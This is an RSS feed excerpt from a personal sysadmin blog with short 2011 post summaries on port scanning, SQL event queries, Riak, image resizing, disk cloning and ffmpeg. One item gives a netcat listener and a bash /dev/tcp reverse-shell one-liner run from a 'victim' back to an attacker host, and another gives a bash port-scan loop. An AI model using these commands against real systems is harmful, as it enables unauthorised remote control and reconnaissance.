      <link>https://www.control-alt-del.org/posts/2011/11/25/port-scanning-wihtout-a-port-scanner/</link>
      <pubDate>Fri, 25 Nov 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/11/25/port-scanning-wihtout-a-port-scanner/</guid>
      <description>Booya.
For older bash versions
1 2 3 4 5  for i in $(seq 1 1 1024); do echo &amp;gt; /dev/tcp/10.10.10.10/$i; [ $? == 0 ] &amp;amp;&amp;amp; echo $i &amp;gt;&amp;gt;/tmp/open.txt; done   Same thing, newer bash versions
1 2 3 4 5  for i in {1..1024}; do echo &amp;gt; /dev/tcp/10.10.10.10/$i; [ $? == 0 ] &amp;amp;&amp;amp; echo $i &amp;gt;&amp;gt;/tmp/open.txt; done  </description>
    </item>
    
    <item>
      <title>remote shell without any tools</title>
      <link>https://www.control-alt-del.org/posts/2011/11/25/remote-shell-without-any-tools/</link>
      <pubDate>Fri, 25 Nov 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/11/25/remote-shell-without-any-tools/</guid>
      <description>Here&#39;s a method for opening up a TCP connection from one host to another without needing to install any tools.
From the attacker machine, wait for a connection
Wait for connections
1  nc -nlp 12345   From the victim
Call home
1  /bin/bash -i &amp;gt; /dev/tcp/10.10.10.10/12345 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1   The victim code will open up a connection the the attacker, allowing the attacker to run whatever bash commands he wants.</description>
    </item>
    
    <item>
      <title>validating ip addresses in php</title>
      <link>https://www.control-alt-del.org/posts/2011/11/14/validating-ip-addresses-in-php/</link>
      <pubDate>Mon, 14 Nov 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/11/14/validating-ip-addresses-in-php/</guid>
      <description></description>
    </item>
    
    <item>
      <title>sample esp queries</title>
      <link>https://www.control-alt-del.org/posts/2011/10/25/sample-esp-queries/</link>
      <pubDate>Tue, 25 Oct 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/10/25/sample-esp-queries/</guid>
      <description>&lt;p&gt;Emit when something hasn&#39;t been seen in a while:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;k&#34;&gt;select&lt;/span&gt; 
  &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; 
&lt;span class=&#34;k&#34;&gt;from&lt;/span&gt; 
  &lt;span class=&#34;n&#34;&gt;NoitMetricNumeric&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;std&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;groupwin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uuid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;win&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;minutes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;std&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lastevent&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;std&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; 
&lt;span class=&#34;k&#34;&gt;where&lt;/span&gt; 
  &lt;span class=&#34;k&#34;&gt;size&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;group&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;by&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;uuid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>fun with bloom filters using riak mapreduce</title>
      <link>https://www.control-alt-del.org/posts/2011/09/14/fun-with-bloom-filters-using-riak-mapreduce/</link>
      <pubDate>Wed, 14 Sep 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/09/14/fun-with-bloom-filters-using-riak-mapreduce/</guid>
      <description>&lt;p&gt;So I.ve been toying with some ideas on how to do large mapreduce jobs, and pushing the processing into Riak (Erlang) to make use of distributed processing and data-locality.&lt;/p&gt;

&lt;p&gt;It took a while to figure out how to get this to work, but here it is.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>security policy templates</title>
      <link>https://www.control-alt-del.org/posts/2011/09/14/security-policy-templates/</link>
      <pubDate>Wed, 14 Sep 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/09/14/security-policy-templates/</guid>
      <description> NIST has a good list
 The department of the interior handbook to be quite a good and comprehensive resource.
 The CMS IS policy seems to be a good over-reaching policy for starting policy
 UCISA has a good toolkit
  </description>
    </item>
    
    <item>
      <title>easy thumnail resizing</title>
      <link>https://www.control-alt-del.org/posts/2011/05/29/easy-thumnail-resizing/</link>
      <pubDate>Sun, 29 May 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/05/29/easy-thumnail-resizing/</guid>
      <description>Download and install ImageMagick
1 2 3 4 5  cd path\to\images mkdir thumbs mkdir resized mogrify -path thumbs -thumbnail 100x100 *.JPG mogrify -path resized -resize 1024x768 *.JPG   Done!</description>
    </item>
    
    <item>
      <title>cloning systems</title>
      <link>https://www.control-alt-del.org/posts/2011/04/17/cloning-systems/</link>
      <pubDate>Sun, 17 Apr 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/04/17/cloning-systems/</guid>
      <description>Grab partclone
On both the server you want to image, and the server you want to restore to, boot a live usb that has netcat and partclone. I create
my own using the gentoo LiveUSB install http://www.gentoo.org/doc/en/liveusb.xml, and copy the tools onto the usb stick.
On target node:
1  nc -l -p 999 | partclone.ext4 -r -o /dev/sda2   On source node:
1  partclone.ext4 -c -s /dev/sda2 | nc 1.</description>
    </item>
    
    <item>
      <title>converting avi files to flash video on windows xp</title>
      <link>https://www.control-alt-del.org/posts/2011/01/06/converting-avi-files-to-flash-video-on-windows-xp/</link>
      <pubDate>Thu, 06 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/posts/2011/01/06/converting-avi-files-to-flash-video-on-windows-xp/</guid>
      <description>Step 1. Install ffmpeg.
I believe I downloaded it from here
There was issue with the installation. After installing it (in c:\windows I believe), I noticed that none of the presets worked. This is natively a linux app, and after a bit of poking around I saw that it was looking for the presets in /usr/local/share/ffmpeg.
To fix this, I created that folder in the root of the disk I was using for the transcoding (X in my case), and put the preset files in there.</description>
    </item>
    
    <item>
      <title></title>
      <link>https://www.control-alt-del.org/404/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/404/</guid>
      <description></description>
    </item>
    
    <item>
      <title></title>
      <link>https://www.control-alt-del.org/about/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      
      <guid>https://www.control-alt-del.org/about/</guid>
      <description>Father, Husband, Mentor, Crime Fighter, Inventor and Slayer of Chipmunks.</description>
    </item>
    
  </channel>
</rss>